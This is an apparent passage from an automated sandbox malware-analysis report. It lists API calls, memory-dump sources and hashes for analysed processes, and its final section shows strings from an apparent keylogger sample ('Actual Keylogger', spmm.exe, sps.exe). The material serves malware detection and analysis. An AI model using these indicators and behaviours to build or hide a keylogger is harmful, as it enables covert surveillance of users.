APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,052FD485,?,?), ref: 052FD537

Memory Dump Source

Source File: 00000006.00000002.1985468058.00000000052F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_[space]= .jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: b8e99b6eccf7f0014b7b164ae045418991599b184068c873b1637280cb8472e8
Instruction ID: 8f2c148cca7346781cabd577586388b05bd1402f57d124f51f60d1397671f73d
Opcode Fuzzy Hash: b8e99b6eccf7f0014b7b164ae045418991599b184068c873b1637280cb8472e8
Instruction Fuzzy Hash: A531E0B5D102499FDB10CF9AE884ADEFBF4FF48324F54842AE919A7210D374A940CFA4

Function 02B3C960 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B3D286,?,?,?,?,?), ref: 02B3D347

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5be75498b78ddafc7983ac54688217a86e9d1a9178196880083e857ded96d472
Instruction ID: b43ddec473d7dc08e11e18c51c9f212129c16b8b6206181583a80ef668de78f7
Opcode Fuzzy Hash: 5be75498b78ddafc7983ac54688217a86e9d1a9178196880083e857ded96d472
Instruction Fuzzy Hash: 0521E5B59002099FDB10CF9AD584ADEFBF4EB48310F14845AE954A7310D378A950CFA4

Function 0A2FDAB9 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,0A2FDAA0,03D24118,02D6C3A4), ref: 0A2FDB31

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 88dc254df1940aeedb6638361287b53a52e6cc95a7fc0f598ce5b3f8b97bc0d1
Instruction ID: 7874297a9ab8ed6e2f6fcf70f15c2db938a21ebe30d592008d834023d79303e3
Opcode Fuzzy Hash: 88dc254df1940aeedb6638361287b53a52e6cc95a7fc0f598ce5b3f8b97bc0d1
Instruction Fuzzy Hash: 392144B1D002098FDB14CFAAC844BEEFBF5FB88324F14842AD458A7250D778A944CFA5

Function 0A2FC0D4 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,0A2FDAA0,03D24118,02D6C3A4), ref: 0A2FDB31

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 14f218c34b9a4bce0bfeaff86696ec985e07640a7401c05f7d099ba88f5b5034
Instruction ID: d563f0775ab7e51a743f62375cb11797fd31a6183f65c671e86ef9b6818b3e4e
Opcode Fuzzy Hash: 14f218c34b9a4bce0bfeaff86696ec985e07640a7401c05f7d099ba88f5b5034
Instruction Fuzzy Hash: AB2147B1D102098FDB14CF9AC844BEEFBF5EB88324F14842AD558A7350D778A945CFA5

Function 02B3D2B9 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B3D286,?,?,?,?,?), ref: 02B3D347

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e1de51325c4fa73ba18e7efc146f095fdf76f45283420ee981438a12de912e9c
Instruction ID: bc9d2d1d4de1e854f8d11d88ee034045240d697508b9dd207bcbecc1b4241d03
Opcode Fuzzy Hash: e1de51325c4fa73ba18e7efc146f095fdf76f45283420ee981438a12de912e9c
Instruction Fuzzy Hash: 952114B5900249DFDB10CFAAD584ADEFBF4EB48310F14805AE918A3210D338A944CF64

Function 0A2F0600 Relevance: 1.6, APIs: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0A2F0670

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 40afb0ddc1533a2dfb1bb3c2fc75a4a584e0974e1bfe7bc628d0594e6213470e
Instruction ID: 67cdd79d468b22a3cc94272d1f925945ba33d18be2116d3c81631af598846fb9
Opcode Fuzzy Hash: 40afb0ddc1533a2dfb1bb3c2fc75a4a584e0974e1bfe7bc628d0594e6213470e
Instruction Fuzzy Hash: CB11F9B58102499FDB10CF9AD845BDEFBF8FB48360F108429E558A3251D378A544CFA5

Function 0A2F08D0 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0A2F093D

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c795f7d907e39ae34d32c75c795aeb86f7d9a7cd28633f6256e906eb9f5b14aa
Instruction ID: a4e2466871fd9772d6ba07be61ce3bd565ce8508bcc2cdb8c0913bc8246c6e12
Opcode Fuzzy Hash: c795f7d907e39ae34d32c75c795aeb86f7d9a7cd28633f6256e906eb9f5b14aa
Instruction Fuzzy Hash: 671126B5C10209CFDB10CF9AD944BDEFBF4EB08310F14842AE554A3201D338A944CFA4

Function 0A2F0608 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0A2F0670

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 1496352855dcdaa33cd8092851e51e3bbb6fd2097acc7281263474a8376dd9e1
Instruction ID: 5a5fa6d7dff3d90af82b81395d753f75a17614b5b8210911ed43cbbc3cc011fb
Opcode Fuzzy Hash: 1496352855dcdaa33cd8092851e51e3bbb6fd2097acc7281263474a8376dd9e1
Instruction Fuzzy Hash: F011F6B58002499FDB10CF9AD844BDEFBF8EB48360F10842AE558A3251D378A544CFA5

Function 0A2F08D8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0A2F093D

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: f5c2f27365d4a823e8468f2153c4cc0a5be50ff8e668ba07b8cd1980c3e3ce8d
Instruction ID: b548a2f28021e5fbd32d204b923c042a8ce104cdf8ee5c509c4477c29fb74f8a
Opcode Fuzzy Hash: f5c2f27365d4a823e8468f2153c4cc0a5be50ff8e668ba07b8cd1980c3e3ce8d
Instruction Fuzzy Hash: 3C1104B58043499FDB10CF9AD944BDEFBF8EB48320F10842AE558A3251D378A944CFA5

Function 02B3AFE0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02B3B046

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 783624b0a1cf4e0d849ce6127960db74abd9983a50a132ed138a855c507c7697
Instruction ID: 033e269b2b809d87f8cd913ea04fdeeaef1a9b2d582ddc1f0b1de54429d79db1
Opcode Fuzzy Hash: 783624b0a1cf4e0d849ce6127960db74abd9983a50a132ed138a855c507c7697
Instruction Fuzzy Hash: A2110FB6C003498FCB20CF9AD444ADEFBF4EB88224F10846AD428B7210C379A549CFA5

Function 0A2FBF74 Relevance: 1.5, APIs: 1, Instructions: 47threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0A2FC938

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 89b502165e4b92d6e0c406b7e76ed0e834c6f4faa66c41de1b0b79ae7e12dc4a
Instruction ID: 9659e429044aea61ac2fe0f05ff3ecf785ef57ac33b4c9223ef05aead64ef514
Opcode Fuzzy Hash: 89b502165e4b92d6e0c406b7e76ed0e834c6f4faa66c41de1b0b79ae7e12dc4a
Instruction Fuzzy Hash: 561125B48102499FDB20DF89C94ABEEFFF4EB08310F108829E655B7250C379A544CFA5

Function 0A2F0DA8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0A2F0E05

Memory Dump Source

Source File: 00000006.00000002.1987005248.000000000A2F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A2F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a2f0000_[space]= .jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d273b67ef4fd223e175d5b46ed1b8b5e48b513df6ec825fbd84f9132ac879fb9
Instruction ID: eafc4be75ae641459351ab1b885c66623b24906e33731dea0a82c03508d8a9e4
Opcode Fuzzy Hash: d273b67ef4fd223e175d5b46ed1b8b5e48b513df6ec825fbd84f9132ac879fb9
Instruction Fuzzy Hash: 1811DDB5C04649CFDB24DF9AE444BDEFBF4EB48324F10842AD958A7210D378A544CFA9

Function 00F1D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981537098.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f1d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f428eec18ffef5fa2fb72407639252cb5dd6e7ffdbb48657030fd5cc85079af6
Instruction ID: f747bd40fd20432722450d989b4c28260de68c615f581d62870d8fb40042ddef
Opcode Fuzzy Hash: f428eec18ffef5fa2fb72407639252cb5dd6e7ffdbb48657030fd5cc85079af6
Instruction Fuzzy Hash: 95212872500240DFCB05DF14D9C0B67BF76FB94328F24C569D8050B256C336D896EAA1

Function 00F2D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981649822.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f2d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc0422db4973e6b3412e478b54331ba4b216eb51384515656268e17319e128a2
Instruction ID: 4c8a1a383f45bac0284c73762ae17dce9ef533b243a6abbbd0fab16152c77a4f
Opcode Fuzzy Hash: fc0422db4973e6b3412e478b54331ba4b216eb51384515656268e17319e128a2
Instruction Fuzzy Hash: AC212671904204EFDB05DF14E9C4B26BBA5FB84324F30C66DE8094F296C336D846DA61

Function 00F2D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981649822.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f2d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af838ccb10d2a399661d565b1674225ecae047f0137b961671dc77284343b0eb
Instruction ID: 101a29c3659044b7bee8c582f1678f1ef3b80bc9df848471d23ea9ce6211d2b3
Opcode Fuzzy Hash: af838ccb10d2a399661d565b1674225ecae047f0137b961671dc77284343b0eb
Instruction Fuzzy Hash: AF210471A04240DFCB14DF14E9C4B26BFA5FB84324F20C56DD94A4B2AAC33AD847DA61

Function 00F2D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981649822.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f2d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41188f49962c296389add89137c20b11fc6b3568757a05b1c00d98ed66152a04
Instruction ID: e03cfe68babb4c664c9d4b468ffec522b8cf6c8844d54726c0c6646add8b5367
Opcode Fuzzy Hash: 41188f49962c296389add89137c20b11fc6b3568757a05b1c00d98ed66152a04
Instruction Fuzzy Hash: 4F215E755093808FDB12CF24D994715BF71EB46324F28C5EAD8498F6A7C33A980ADB62

Function 00F1D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981537098.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f1d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 0c00ffe9948b057951d244272f88b1d841809ce807cb5bd56cc3f2633d0ba041
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 5B11D376904280CFCB16CF14D5C4B56BF72FB94328F28C6A9D8490B656C336D85ADBA1

Function 00F2D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1981649822.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f2d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 0a85cdcc07c7c2ad780f359243db193e95d4c180b93ac3cbdcd2ab4ee567baf8
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: BE118B75904280DFDB16CF14D9C4B15BBA1FB84324F24C6AAD8494B696C33AD84ADB62

Non-executed Functions

Function 051F0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a81cad3705844919e1aa40554a740c1b3d0263ccbce994a504479516252dc9
Instruction ID: ed3f6aef09c788eed4457f6ddee3bdfade3ebb967d25e1250382b4f99e0daf73
Opcode Fuzzy Hash: 74a81cad3705844919e1aa40554a740c1b3d0263ccbce994a504479516252dc9
Instruction Fuzzy Hash: 5A1282B0C81745CADB30CF65E95C98D3BA1BB4539CBD08A09D2616F3E1DBB811AACF44

Function 051FD937 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8baf0a68babed49171fe902e600ac8045702e6b0b65de829e40b627bba8aa97
Instruction ID: 1da78fe51af5c6d5abde760cb2e0e853d611851345ec041836754330e850e788
Opcode Fuzzy Hash: d8baf0a68babed49171fe902e600ac8045702e6b0b65de829e40b627bba8aa97
Instruction Fuzzy Hash: D2D1D831D2065A8ACB10EB64D994A9DF7B1FFA5300F50CB9AE40937255EB706AC9CF81

Function 02B3DC34 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1983927278.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b30000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66223cc9a5db5b642a0a8649e2864888d772241849e2b6846622f0d5553a5938
Instruction ID: 548435e11069da02ba624b82af8ba106f5804db2aaee0382a71a98f4fbdeba57
Opcode Fuzzy Hash: 66223cc9a5db5b642a0a8649e2864888d772241849e2b6846622f0d5553a5938
Instruction Fuzzy Hash: EBA17D32E1020ACFCF06DFB4C9405AEB7B2FF84304B1585AAE905AB265DB75E955CF80

Function 051FD948 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16145b99b1ed6ca6237abf0a68137858a3abc0871c52f25680b856ac53fa6353
Instruction ID: 7e5830bf211187fbd23c01e1c3d257c2d62c2ad600b6195d31ad2841e1446a6e
Opcode Fuzzy Hash: 16145b99b1ed6ca6237abf0a68137858a3abc0871c52f25680b856ac53fa6353
Instruction Fuzzy Hash: 96D1C931D2065A8ACB10EB64D994A9DF771FFA5300F50CB9AE40937255EB706AC9CF81

Function 051F0006 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1985326004.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51f0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f96bd27175ff5409392ff91b879bf86061dd659000f62e73a0c06a97c719cc4
Instruction ID: 5341c519abfd2911814038b4c8093974fcf49296e2f6c215d98778b17d85a2cf
Opcode Fuzzy Hash: 8f96bd27175ff5409392ff91b879bf86061dd659000f62e73a0c06a97c719cc4
Instruction Fuzzy Hash: 5FC117B1C80745CADB21CF64E85858D7BB1BB8539CF948B09D2616F2E1DBB814AACF44

Analysis Process: spkl.exePID: 5904, Parent PID: 7944COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	66.4%
Signature Coverage:	4.8%
Total number of Nodes:	330
Total number of Limit Nodes:	33

Executed Functions

Function 033C4CB8 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 151
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 033C4CD4
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4CF2
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4D10
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,033C4D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 033C4D4A
RegQueryValueExA.ADVAPI32(?,033C4EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,033C4D84,?,80000001), ref: 033C4D68
RegCloseKey.ADVAPI32(?,033C4D8B,00000000,00000000,00000005,00000000,033C4D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4D7E
lstrcpy.KERNEL32(?,?), ref: 033C4D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 033C4DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 033C4DA9
lstrlen.KERNEL32(00000000), ref: 033C4DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E41
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E65

Strings

., xrefs: 033C4DE6
Software\Borland\Locales, xrefs: 033C4CE8
Software\Borland\Delphi\Locales, xrefs: 033C4D06

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$LocaleOpenQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 466793542-3917250287
Opcode ID: f78b7f70cfd38cb76c82f742ede3f82ff0a7b02f7661a7873c37b859657b9029
Instruction ID: 275c154d21cd6435bcef78628399e4a87f4b252ad2385a838d825775c25c7d51
Opcode Fuzzy Hash: f78b7f70cfd38cb76c82f742ede3f82ff0a7b02f7661a7873c37b859657b9029
Instruction Fuzzy Hash: C1419675D2039C79EB22E6F58CD6FEFB7BC9B04740F450099E604EA182D6789E44DB90

Function 033C4D8A Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 033C4D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 033C4DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 033C4DA9
lstrlen.KERNEL32(00000000), ref: 033C4DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E41
lstrcpy.KERNEL32(00000000,00000000), ref: 033C4E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 033C4E65

Strings

., xrefs: 033C4DE6

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$Locale$InfoThreadlstrlen
String ID: .
API String ID: 83785346-248832578
Opcode ID: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction ID: e2e8e19410d523c2d29175c6bb065ca68962e379b5cb6a244a58a065672d1c76
Opcode Fuzzy Hash: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction Fuzzy Hash: 5D215175D203DC69FF32E6F59CD5BEEA7AC5B05344F4900D9A604EA082D6789E448B90

Function 0040AD50 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD6C
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD75

Part of subcall function 0040AC68: FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
Part of subcall function 0040AC68: FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction ID: 05cb4437e63bb6b3272f06b966d88aae6be7d9b60112c97dc79dcad86f01a405
Opcode Fuzzy Hash: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction Fuzzy Hash: DEF03A752413086FDB00DE9DD98CDA677DCBF18358F4040AAF948DF381C679E8409B69

Function 0040AC68 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction ID: 4447641847811743a9d484fd75f598e74346f1db9ae7184df3dfd51839572a63
Opcode Fuzzy Hash: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction Fuzzy Hash: 0DD0C26251060927CA20D9BC8C89A9E738C5A00224B180766795CE32C0FA35D91005AD

Function 033C75E8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction ID: 963eaad8796beab52df06dff4b9ee2a266823ca8cbe4b3f9b313497764a8f0b3
Opcode Fuzzy Hash: 4ecf945b71f54a3124df47cedfe2b4815bd81d27520891cf9e0f0ea53d9edb37
Instruction Fuzzy Hash: A9F01276D1539CAACB10EAE88CC59CEB3AC5F05324F5406AAA919E7191EB389F144B50

Function 008675DC Relevance: 53.0, APIs: 3, Strings: 27, Instructions: 544
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetPathFromIDListW.SHELL32(0088735C,00887360,?,?,?,?,00000000,00000000), ref: 00867669
FindWindowW.USER32(Tfmm,00000000,?,?,?,?,00000000,00000000), ref: 00867887
ShellExecuteW.SHELL32(00000000,00867FC8,00000000), ref: 00867B9D

Strings

.22, xrefs: 00867B05
AKMBUS, xrefs: 00867A85
q842y95uit, xrefs: 008678E0, 00867BF1
basic start, xrefs: 00867BB2
\temp\reg\info.uid, xrefs: 008676AE
@7{, xrefs: 008679B5
app:Run:First, xrefs: 00867A27
SPS, xrefs: 00867BB9
Online, xrefs: 00867ACF
Desktop, xrefs: 00867AE8
wlg.exe, xrefs: 00867C5E
Trial, xrefs: 00867A6E
TSystemComponentM, xrefs: 00867C30, 00867C94, 00867CDA, 00867D20
Business, xrefs: 00867AA0
Actual Keylogger, xrefs: 00867A48
sps.exe, xrefs: 00867C4A
Tfmm, xrefs: 00867882
app:Run, xrefs: 00867A37
{78DFD215-B0D1-DA34-FE1A-278DDF34561C}, xrefs: 00867C16, 00867C7A, 00867CC0, 00867D06
System component, xrefs: 00867876
\spmm.exe, xrefs: 008678A6
spmm.exe, xrefs: 00867B83, 00867C54
t-|, xrefs: 00867930
d2|, xrefs: 00867956
